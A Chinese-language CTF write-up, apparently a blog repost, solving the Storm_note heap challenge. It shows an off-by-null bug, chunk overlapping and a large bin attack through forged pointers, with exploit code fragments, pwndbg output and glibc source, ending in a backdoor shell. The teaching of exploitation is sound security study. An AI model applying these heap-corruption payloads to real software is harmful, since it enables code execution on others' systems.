从零开始学howtoheap:解题西湖论剑Storm_note

news2024/11/25 10:59:27

  how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客 

1.题目信息

https://github.com/ble55ing/ctfpwn/blob/master/pwnable/ctf/x64/Storm_note

root@pwn_test1604:/ctf/work/how2heap/西湖论剑Storm_note# chmod +x Storm_note
root@pwn_test1604:/ctf/work/how2heap/西湖论剑Storm_note# gdb ./Storm_note
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./Storm_note...(no debugging symbols found)...done.
pwndbg> r
Starting program: /ctf/work/how2heap/西湖论剑Storm_note/Storm_note 
================
== Storm Note ==
== 1. alloc   ==
== 2. edit    ==
== 3. delete  ==
== 4. exit    ==
================
Choice: 

2.程序分析

2.1 init_proc函数 

​ 程序一开始就对进程进行初始化,mallopt(1, 0)禁用了fastbin,然后通过mmap在0xABCD0000分配了一个页面的可读可写空间,最后往里面写入一个随机数。

2.2 alloc_note函数 

​ 首先遍历全局变量note,找到一个没有存放内容的地方保存堆指针。然后限定了申请的堆的大小最多为0xFFFFF,调用calloc函数来分配堆空间,因此返回

前会对分配的堆的内容进行清零。

2.3 edit_note函数 

​ 存在一个off_by_null漏洞,在read后v2保存写入的字节数,最后在该偏移处的字节置为0,形成off_by_null。

​ 

2.4 delete_note函数

​ 这个函数就是正常free堆指针,并置0。

​ 

2.5 backdoor函数

​ 程序提供一个可以直接getshell的后门,触发的条件就是输入的数据与mmap映射的空间的前48个字节相同。

 

3.利用思路 

  1. 利用off_by_null漏洞实现chunk overlapping,从而控制堆块内容。

  2. 将处于unsortedbin的可控制的chunk放入largebin中,以便触发largebin attack

  3. 伪造largebin的bk和bk_nextsize指针,通过malloc触发漏洞,分配到目标地址,实现任意地址写。

  4. 触发后门

4.调试过程 

4.1 Chunk overlapping 

​4.1.1 首先分配7个chunk

chunk1和chunk4是用于放入largebin的大chunk,chunk6防止top chunk合并。Chunk结构如下。

add(0x18)  #0
add(0x508) #1
add(0x18)  #2

add(0x18)  #3
add(0x508) #4
add(0x18)  #5
add(0x18)  #6
pause()
[DEBUG] Received 0x84 bytes:
    'Done\n'
    '================\n'
    '== Storm Note ==\n'
    '== 1. alloc   ==\n'
    '== 2. edit    ==\n'
    '== 3. delete  ==\n'
    '== 4. exit    ==\n'
    '================\n'
    'Choice: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x8 bytes:
    'Index ?\n'
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0xa bytes:
    'Content: \n'
[DEBUG] Sent 0x4f8 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    000004f0  00 05 00 00  00 00 00 00                            │····│····││
    000004f8
[*] Paused (press any to continue)

pwndbg> c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4fc241a260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84      in ../sysdeps/unix/syscall-template.S
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0xfffffffffffffe00
 RBX  0x7f4fc26e78e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
 RCX  0x7f4fc241a260 (__read_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x1
 RDI  0x0
 RSI  0x7f4fc26e7963 (_IO_2_1_stdin_+131) ◂— 0x6e9790000000000a /* '\n' */
 R8   0x7f4fc26e9780 (_IO_stdfile_1_lock) ◂— 0x0
 R9   0x7f4fc2907700 ◂— 0x7f4fc2907700
 R10  0x55a6e14011a5 ◂— and    eax, 0x6e490064 /* '%d' */
 R11  0x246
 R12  0x1
 R13  0xffffffffffffff98
 R14  0x7f4fc26e8420 (_nl_global_locale) —▸ 0x7f4fc26e39a0 (_nl_C_LC_CTYPE) —▸ 0x7f4fc24b1997 (_nl_C_name) ◂— add    byte ptr [r15 + 0x5f], bl /* 'C' */
 R15  0x7f4fc26e78e0 (_IO_2_1_stdin_) ◂— 0xfbad208b

 ► f 0     7f4fc241a260 __read_nocancel+7                                                                                                                                                                   [0/115]
   f 1     7f4fc239d5e8 _IO_file_underflow+328
   f 2     7f4fc239e60e _IO_default_uflow+14
   f 3     7f4fc237f260 _IO_vfscanf+2528
   f 4     7f4fc238e5df __isoc99_scanf+271
   f 5     55a6e1401091
   f 6        201621460
   f 7 180f66877bd5d200
   f 8     55a6e1401110
   f 9     7f4fc2343830 __libc_start_main+240
   f 10     55a6e1400a89
Program received signal SIGINT
pwndbg> heap
heapbase : 0x55a6e3007000
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x55a6e3007000      0x0                 0x20                 Used                None              None
0x55a6e3007020      0x0                 0x510                Used                None              None
0x55a6e3007530      0x0                 0x20                 Used                None              None
0x55a6e3007550      0x0                 0x20                 Used                None              None
0x55a6e3007570      0x0                 0x510                Used                None              None
0x55a6e3007a80      0x0                 0x20                 Used                None              None
0x55a6e3007aa0      0x0                 0x20                 Used                None              None
pwndbg> 


 pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x55a6e3007000      0x0                 0x20                 Used                None              None
0x55a6e3007020      0x0                 0x510                Used                None              None
0x55a6e3007530      0x0                 0x20                 Used                None              None
0x55a6e3007550      0x0                 0x20                 Used                None              None
0x55a6e3007570      0x0                 0x510                Used                None              None
0x55a6e3007a80      0x0                 0x20                 Used                None              None
0x55a6e3007aa0      0x0                 0x20                 Used                None              None

​ 4.1.2 构造两个伪造的prev_size

用于绕过malloc检查,保护下一个chunk的prev_size不被修改。如下图所示。

edit(1,'a'*0x4f0+p64(0x500)) #prev_size
edit(4,'a'*0x4f0+p64(0x500)) #prev_size
pwndbg> x/30gx 0x55a6e3007020 +0x490
0x55a6e30074b0: 0x6161616161616161      0x6161616161616161
0x55a6e30074c0: 0x6161616161616161      0x6161616161616161
0x55a6e30074d0: 0x6161616161616161      0x6161616161616161
0x55a6e30074e0: 0x6161616161616161      0x6161616161616161
0x55a6e30074f0: 0x6161616161616161      0x6161616161616161
0x55a6e3007500: 0x6161616161616161      0x6161616161616161
0x55a6e3007510: 0x6161616161616161      0x6161616161616161
0x55a6e3007520: 0x0000000000000500      0x0000000000000000
0x55a6e3007530: 0x0000000000000000      0x0000000000000021
0x55a6e3007540: 0x0000000000000000      0x0000000000000000
0x55a6e3007550: 0x0000000000000000      0x0000000000000021
0x55a6e3007560: 0x0000000000000000      0x0000000000000000
0x55a6e3007570: 0x0000000000000000      0x0000000000000511
0x55a6e3007580: 0x6161616161616161      0x6161616161616161
0x55a6e3007590: 0x6161616161616161      0x6161616161616161
pwndbg> x/30gx 0x55a6e3007570 +0x490
0x55a6e3007a00: 0x6161616161616161      0x6161616161616161
0x55a6e3007a10: 0x6161616161616161      0x6161616161616161
0x55a6e3007a20: 0x6161616161616161      0x6161616161616161
0x55a6e3007a30: 0x6161616161616161      0x6161616161616161
0x55a6e3007a40: 0x6161616161616161      0x6161616161616161
0x55a6e3007a50: 0x6161616161616161      0x6161616161616161
0x55a6e3007a60: 0x6161616161616161      0x6161616161616161
0x55a6e3007a70: 0x0000000000000500      0x0000000000000000
0x55a6e3007a80: 0x0000000000000000      0x0000000000000021
0x55a6e3007a90: 0x0000000000000000      0x0000000000000000
0x55a6e3007aa0: 0x0000000000000000      0x0000000000000021
0x55a6e3007ab0: 0x0000000000000000      0x0000000000000000
0x55a6e3007ac0: 0x0000000000000000      0x0000000000020541
0x55a6e3007ad0: 0x0000000000000000      0x0000000000000000
0x55a6e3007ae0: 0x0000000000000000      0x0000000000000000

 ​4.1.3  接着利用off by null漏洞改写chunk 1的size为0x500

free(1)
edit(0,'a'*0x18) #off by null
pause()

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x56340ec9f000      0x0                 0x20                 Freed 0x61616161616161610x6161616161616161
0x56340ec9f020      0x6161616161616161  0x500                Freed     0x7f808d4f8b78    0x7f808d4f8b78
Corrupt ?! (size == 0) (0x56340ec9f520)
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x56340ec9f020 —▸ 0x7f808d4f8b78 (main_arena+88) ◂— 0x56340ec9f020
smallbins
empty
largebins
empty

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x56340ec9f000      0x0                 0x20                 Freed 0x61616161616161610x6161616161616161
0x56340ec9f020      0x6161616161616161  0x500                Freed     0x7f808d4f8b78    0x7f808d4f8b78
Corrupt ?! (size == 0) (0x56340ec9f520)
 


 

4.1.4 然后就可以进行chunk overlap了

先将0x20的chunk释放掉,然后释放chunk2,这时触发unlink。

add(0x18)  #1
add(0x4d8) #7 

free(1)
free(2)    #overlap
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x558a6cd7c000      0x0                 0x20                 Used                None              None
0x558a6cd7c020      0x6161616161616161  0x530                Freed     0x7fa9f62ffb78    0x7fa9f62ffb78
0x558a6cd7c550      0x530               0x20                 Used                None              None
0x558a6cd7c570      0x0                 0x510                Used                None              None
0x558a6cd7ca80      0x0                 0x20                 Used                None              None
0x558a6cd7caa0      0x0                 0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x558a6cd7c020 —▸ 0x7fa9f62ffb78 (main_arena+88) ◂— 0x558a6cd7c020
smallbins
empty
largebins
empty
pwndbg> 

 pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x558a6cd7c000      0x0                 0x20                 Used                None              None
0x558a6cd7c020      0x6161616161616161  0x530                Freed     0x7fa9f62ffb78    0x7fa9f62ffb78  
0x558a6cd7c550      0x530               0x20                 Used                None              None
0x558a6cd7c570      0x0                 0x510                Used                None              None
0x558a6cd7ca80      0x0                 0x20                 Used                None              None
0x558a6cd7caa0      0x0                 0x20                 Used                None              None

4.1.5 接下来用同样的方法对第二个大小为0x510的chunk进行overlapping

free(4)
edit(3,'a'*0x18) #off by null
add(0x18)        #4
add(0x4d8)       #8 
free(4)
free(5)          #overlap
add(0x40)        #4 
edit(8, 'aaaa')

addr                prev                size                 status              fd                bk                
0x5564e0dfc000      0x0                 0x20                 Used                None              None
0x5564e0dfc020      0x6161616161616161  0x40                 Used                None              None
0x5564e0dfc060      0x0                 0x4f0                Used                None              None
0x5564e0dfc550      0x0                 0x20                 Used                None              None
0x5564e0dfc570      0x6161616161616161  0x50                 Used                None              None
0x5564e0dfc5c0      0x0                 0x4e0                Freed     0x7f45f673eb78    0x7f45f673eb78
0x5564e0dfcaa0      0x4e0               0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5564e0dfc5c0 —▸ 0x7f45f673eb78 (main_arena+88) ◂— 0x5564e0dfc5c0
smallbins
empty
largebins
empty
pwndbg> 

addr                prev                size                 status              fd                bk                
0x5564e0dfc000      0x0                 0x20                 Used                None              None
0x5564e0dfc020      0x6161616161616161  0x40                 Used                None              None
0x5564e0dfc060      0x0                 0x4f0                Used                None              None
0x5564e0dfc550      0x0                 0x20                 Used                None              None
0x5564e0dfc570      0x6161616161616161  0x50                 Used                None              None
0x5564e0dfc5c0      0x0                 0x4e0                Freed     0x7f45f673eb78    0x7f45f673eb78
0x5564e0dfcaa0      0x4e0               0x20                 Used                None              None
 

4.2.放入large bin 

4.2.1​ 那么如何将unsorted bin中的chunk放入large bin呢?

下面是glibc判断

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//从第一个unsortedbin的bk开始遍历
{
    bck = victim->bk;
    size = chunksize (victim);
    if (in_smallbin_range (nb) &&//<_int_malloc+627>
        bck == unsorted_chunks (av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))    //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小
    {remainder_size = size - nb;
     remainder = chunk_at_offset (victim, nb);...}//将选中的chunk剥离出来,恢复unsortedbin
    if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
     unsorted_chunks (av)->bk = bck;    //largebin attack
    //注意这个地方,将unsortedbin的bk设置为victim->bk,如果我设置好了这个bk并且能绕过上面的检查,下次分配就能将target chunk分配出来
    if (size == nb)//size相同的情况同样正常分配
    if (in_smallbin_range (size))//放入smallbin
     {
        victim_index = smallbin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;
     }
     else//放入large bin
     {
         while ((unsigned long) size < chunksize_nomask (fwd))
         {
            fwd = fwd->fd_nextsize;//fd_nextsize指向比当前chunk小的下一个chunk
            assert (chunk_main_arena (fwd));
          }
          if ((unsigned long) size
                          == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
             fwd = fwd->fd;
          else// 插入
          {
            //解链操作,nextsize只有largebin才有
            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
           }
          bck = fwd->bk;
      }
   }
 else
     victim->fd_nextsize = victim->bk_nextsize = victim;
}
 mark_bin (av, victim_index);
//解链操作2,fd,bk
 victim->bk = bck;
 victim->fd = fwd;
 fwd->bk = victim;
 bck->fd = victim;
//fwd->bk->fd=victim

​ 大概意思就是说我们申请堆块时,glibc会从unsorted bin末尾开始遍历,倘若遍历到不符合我们的要求大小,那么系统会做sorted——重新把这个free chunk放入small bin或large bin中。

free(2)     #unsortedbin-> chunk2 -> chunk5(0x4e0)which size is largebin FIFO
add(0x4e8)  #put chunk5(0x4e0) to largebin
free(2)     #put chunk2 to unsortedbin

4.2.2 在unsorted bin中存放着两个大chunk

第一个0x4e0,第二个0x4f0。当我申请一个0x4e8的chunk时,首先找到0x4e0的chunk,太小了不符合调件,于是将它拿出unsorted bin,放入large bin。在放入large bin时就会进行两步解链操作,两个解链操作的最后一步是关键。

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x55812f375000      0x0                 0x20                 Used                None              None
0x55812f375020      0x6161616161616161  0x40                 Used                None              None
0x55812f375060      0x0                 0x4f0                Freed     0x7f3f63abeb78        0xabcd00e8
0x55812f375550      0x4f0               0x20                 Used                None              None
0x55812f375570      0x6161616161616161  0x50                 Used                None              None
0x55812f3755c0      0x0                 0x4e0                Freed                0x0    0x55812f375060
0x55812f375aa0      0x4e0               0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55812f375060 —▸ 0x7f3f63abeb78 (main_arena+88) ◂— 0x55812f375060
BK: 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55812f3755c0 ◂— 0x0
BK: 0x55812f3755c0 —▸ 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda
pwndbg> 
[0] 0:[tmux]*                                                         

​ 可以看到从unsorted bin->bk开始遍历,第一个的size < nb因此就会放入large bin,继续往前遍历,找到0x4f0的chunk,刚好满足size==nb,因此将其分配出来。最后在free(2)将刚刚分配的chunk2再放回unsorted bin,进行第二次利用。

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x55812f375000      0x0                 0x20                 Used                None              None
0x55812f375020      0x6161616161616161  0x40                 Used                None              None
0x55812f375060      0x0                 0x4f0                Freed     0x7f3f63abeb78        0xabcd00e8
0x55812f375550      0x4f0               0x20                 Used                None              None
0x55812f375570      0x6161616161616161  0x50                 Used                None              None
0x55812f3755c0      0x0                 0x4e0                Freed                0x0    0x55812f375060
0x55812f375aa0      0x4e0               0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55812f375060 —▸ 0x7f3f63abeb78 (main_arena+88) ◂— 0x55812f375060
BK: 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda

smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55812f3755c0 ◂— 0x0
BK: 0x55812f3755c0 —▸ 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda

4.3.large bin attack 

​ 4.3.1 接下来伪造unsorted bin的bk

content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk)      # bk
edit(7, payload)
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x56119bc94000      0x0                 0x20                 Used                None              None
0x56119bc94020      0x6161616161616161  0x40                 Used                None              None
0x56119bc94060      0x0                 0x4f0                Freed                0x0        0xabcd00e0
0x56119bc94550      0x4f0               0x20                 Used                None              None
0x56119bc94570      0x6161616161616161  0x50                 Used                None              None
0x56119bc945c0      0x0                 0x4e0                Freed     0x7f00307d0f98    0x7f00307d0f98
0x56119bc94aa0      0x4e0               0x20                 Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56119bc94060 ◂— 0x0
BK: 0x56119bc94060 —▸ 0xabcd00e0 ◂— 0x0
smallbins

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56119bc94060 ◂— 0x0
BK: 0x56119bc94060 —▸ 0xabcd00e0 ◂— 0x0

smallbins
 

​ 4.3.2 再伪造large bin的bk和bk_nextsize

payload2 = p64(0)*4 + p64(0) + p64(0x4e1)  #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap
edit(8, payload2)

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56221cde2060 ◂— 0x0
BK: 0x56221cde2060 —▸ 0xabcd00e0 ◂— 0x0
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x56221cde25c0 ◂— 0x0
BK: 0x56221cde25c0 —▸ 0xabcd00e8 ◂— 0x20f66af60f3e024
pwndbg> 
[0] 0:gdb*                                                  

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56221cde2060 ◂— 0x0
BK: 0x56221cde2060 —▸ 0xabcd00e0 ◂— 0x0
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x56221cde25c0 ◂— 0x0
BK: 0x56221cde25c0 —▸ 0xabcd00e8 ◂— 0x20f66af60f3e024

                                              

​ 4.3.3 那么为什么修改这些值呢

再回顾一下两个解链操作。

else// 插入
          {
            //解链操作,nextsize只有largebin才有
            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
           }
          bck = fwd->bk;
      }
   }
 else
     victim->fd_nextsize = victim->bk_nextsize = victim;
}
 mark_bin (av, victim_index);
//解链操作2,fd,bk
 victim->bk = bck;
 victim->fd = fwd;
 fwd->bk = victim;
 bck->fd = victim;
//fwd->bk->fd=victim

这里情况很复杂,需要耐心把每一步链表的操作搞明白,才能理解它的原理。首先victim指的是处在unsorted bin中的堆块,fwd是large bin中的堆块。

4.3.4 再来回顾一下我们的构造

victim->bk = fake_chunk
fwd->bk = fake_chunk+8
fwd->bk_nextsize=fake_chunk-0x18-5

通过解链操作1,我们能得到:

victim->fd_nextsize=fwd
victim->bk_nextsize=fake_chunk-0x18-5
fwd->bk_nextsize=victim
victim->bk_nextsize->fd_nextsize=fake_chunk-0x18-5+0x20=fake_chunk+3=victim

通过解链操作2,我们能得到:

victim->bk = bck = fwd->bk = fake_chunk+ 8
victim->fd = largbin_entry
fwd->bk = victim
bck->fd = (fake_chunk +8)->fd = victim

4.3.5 接下来我们可以观察一下调试的结果是否与我们分析的一致

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55fca1d77060 —▸ 0x7fb45a4afb78 (main_arena+88) ◂— 0x55fca1d77060
BK: 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4

smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55fca1d775c0 ◂— 0x0
BK: 0x55fca1d775c0 —▸ 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4

victim: 0x55fca1d77060

victim->fd=largebin 0x7fb45a4afb78

victim->bk=fake_chunk+8
 

image-20211226162922399

image-20211226162928596

pwndbg> x/10gx 0xabcd00e8
0xabcd00e8:     0x0000000000000055      0x00007f4a97feeb78
0xabcd00f8:     0x0000556969c18060      0xef7b8e8ded4b1ddb
0xabcd0108:     0x24f263948da138ca      0xc5a1c6bfb9d3a03f
0xabcd0118:     0x3640cee1534713e0      0x4a2fe9c007d22040
0xabcd0128:     0x68f9080bf5bc891c      0x0000000000000000
pwndbg> 
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55fca1d77060 —▸ 0x7fb45a4afb78 (main_arena+88) ◂— 0x55fca1d77060
BK: 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55fca1d775c0 ◂— 0x0
BK: 0x55fca1d775c0 —▸ 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4

因为fake_chunk-5处会写入victim的地址,开启地址随机化的开头地址是0x55或0x56,所以fake_chunk的size位是0x55或0x56。

当_int_malloc返回之后会进行如下检查。

image-20211226162936052

其中宏定义如下。

image-20211226162941269

0x55&0x2=0,绕不过检查,所以只有size为0x56时,我们才能申请到0xabcd0100-0x20处的堆块。

4.4 后门利用 

add(0x48)
payload = p64(0) * 2 + p64(0) * 6
edit(2, payload)

p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)

申请到目标堆块后,将0Xabcd0100处的随机数改为0,触发后门。

pwndbg> x/10gx 0xabcd0100
0xabcd0100:     0x6bd2016fae036ca4      0x065eb3b3800abca7
0xabcd0110:     0xf15d72a1ccc94059      0xdac1ef5786b0b12b
0xabcd0120:     0x9a46adb705b91a2a      0xe0d3749de11a053e
0xabcd0130:     0x0000000000000000      0x0000000000000001
0xabcd0140:     0x0000000000000000      0x0000000000000000

pwndbg> x/10gx 0xabcd0100
0xabcd0100:     0x0000000000000000      0x0000000000000000
0xabcd0110:     0x0000000000000000      0x0000000000000000
0xabcd0120:     0x0000000000000000      0x0000000000000000
0xabcd0130:     0x0000000000000000      0x0000000000000001
0xabcd0140:     0x0000000000000000      0x0000000000000000

修改之前

pwndbg> x/10gx 0xabcd0100
0xabcd0100:     0x6bd2016fae036ca4      0x065eb3b3800abca7
0xabcd0110:     0xf15d72a1ccc94059      0xdac1ef5786b0b12b
0xabcd0120:     0x9a46adb705b91a2a      0xe0d3749de11a053e

0xabcd0130:     0x0000000000000000      0x0000000000000001
0xabcd0140:     0x0000000000000000      0x0000000000000000

修改之后

pwndbg> x/10gx 0xabcd0100
0xabcd0100:     0x0000000000000000      0x0000000000000000
0xabcd0110:     0x0000000000000000      0x0000000000000000
0xabcd0120:     0x0000000000000000      0x0000000000000000

0xabcd0130:     0x0000000000000000      0x0000000000000001
0xabcd0140:     0x0000000000000000      0x0000000000000000
 

                                           
 

 5.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1449458.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

统一功能处理----拦截器

拦截器 拦截器是Spring框架提供的核心功能之一&#xff0c;主要用来拦截用户的请求&#xff0c;在指定方法前后&#xff0c;根据业务需要执行预先设定的代码。 拦截器就像小区门口的保安一样&#xff0c;当有人&#xff08;外部请求&#xff09;想要进入小区&#xff0c;保安…

HTML5 Canvas与JavaScript携手绘制动态星空背景

目录 一、程序代码 二、代码原理 三、运行效果 一、程序代码 <!DOCTYPE html> <html> <head> <meta charset"UTF-8"> <title>星空背景</title> </head> <body style"overflow-x:hidden;"><canvas …

Rust 数据结构与算法:5栈:用栈实现前缀、中缀、后缀表达式

3、前缀、中缀和后缀表达式 计算机是从左到右处理数据的,类似(A + (B * C))这样的完全括号表达式,计算机如何跳到内部括号计算乘法,然后跳到外部括号计算加法呢? 一种直观的方法是将运算符移到操作数外,分离运算符和操作数。计算时先取运算符再取操作数,计算结果则作为…

软件实例分享,超市便利店进销存管理系统收银软件教程

软件实例分享&#xff0c;超市便利店进销存管理系统收银软件教程 一、前言 以下软件教程以 佳易王超市进销存管理软件V16.0为例说明 软件文件下载可以点击最下方官网卡片——软件下载——试用版软件下载 软件程序导航&#xff0c;系统设置&#xff1a;有管理员账号设置其他账…

本地部署 Stable Cascade

本地部署 Stable Cascade 0. 引言1. 事前准备2. 本地部署 Stable Cascade3. 使用 Stable Cascade 生成图片4. Stable Cascade Github 地址 0. 引言 Stable Cascade 模型建立在 Wrstchen 架构之上&#xff0c;它与 Stable Diffusion 等其他模型的主要区别在于它的工作潜在空间要…

搜索专项---最小步数模型

文章目录 魔板 一、魔板OJ链接 本题思路:最小步数模型: 将整个“图”视为一个状态也即一个节点. 状态的转移视为权值为1的边. BFS求解, 注意几点: 状态的存储: 一般用字符串存储状态, 用哈希表存储初始状态到每个状态的距离. 方案记录: 记忆数组存储. 本题中需要存储上一个状…

mac IDEA基础配置和激活+maven配置+scala插件导入+scala文件打包

文章目录 下载IDEA通过插件激活下载Maven在IDEA上配置Maven在IDEA上加载Scala插件在IDEA中创建Maven项目在IDEA上通过Maven打包scala文件 下载IDEA通过插件激活 IDEA从这里下载&#xff0c;下载首次登陆需要创建一个IntelliJ账号&#xff0c;登陆后点击start trail开启一个月的…

机器学习、深度学习、强化学习、迁移学习的关联与区别

Hi&#xff0c;大家好&#xff0c;我是半亩花海。本文主要了解并初步探究机器学习、深度学习、强化学习、迁移学习的关系与区别&#xff0c;通过清晰直观的关系图展现出四种“学习”之间的关系。虽然这四种“学习”方法在理论和应用上存在着一定的区别&#xff0c;但它们之间也…

【教程】MySQL数据库学习笔记(三)——数据定义语言DDL(持续更新)

写在前面&#xff1a; 如果文章对你有帮助&#xff0c;记得点赞关注加收藏一波&#xff0c;利于以后需要的时候复习&#xff0c;多谢支持&#xff01; 【MySQL数据库学习】系列文章 第一章 《认识与环境搭建》 第二章 《数据类型》 第三章 《数据定义语言DDL》 文章目录 【MyS…

AJAX——HTTP协议

1 HTTP协议-请求报文 HTTP协议&#xff1a;规定了浏览器发送及服务器返回内容的格式 请求报文&#xff1a;浏览器按照HTTP协议要求的格式&#xff0c;发送给服务器的内容 1.1 请求报文的格式 请求报文的组成部分有&#xff1a; 请求行&#xff1a;请求方法&#xff0c;URL…

【AI视野·今日Robot 机器人论文速览 第七十九期】Thu, 18 Jan 2024

AI视野今日CS.Robotics 机器人学论文速览 Thu, 18 Jan 2024 Totally 43 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers CognitiveDog: Large Multimodal Model Based System to Translate Vision and Language into Action of Quadruped Robot Aut…

Selenium图表自动化开篇

目录 前言&#xff1a; 使用 Canvas 或者 SVG 渲染 选择哪种渲染器 代码触发 ECharts 中组件的行为 前言&#xff1a; 图表自动化一直以来是自动化测试中的痛点&#xff0c;也是难点&#xff0c;痛点在于目前越来越多公司开始构建自己的BI报表平台但是没有合适的自动化测试…

【C语言】解析刘谦春晚魔术《守岁共此时》

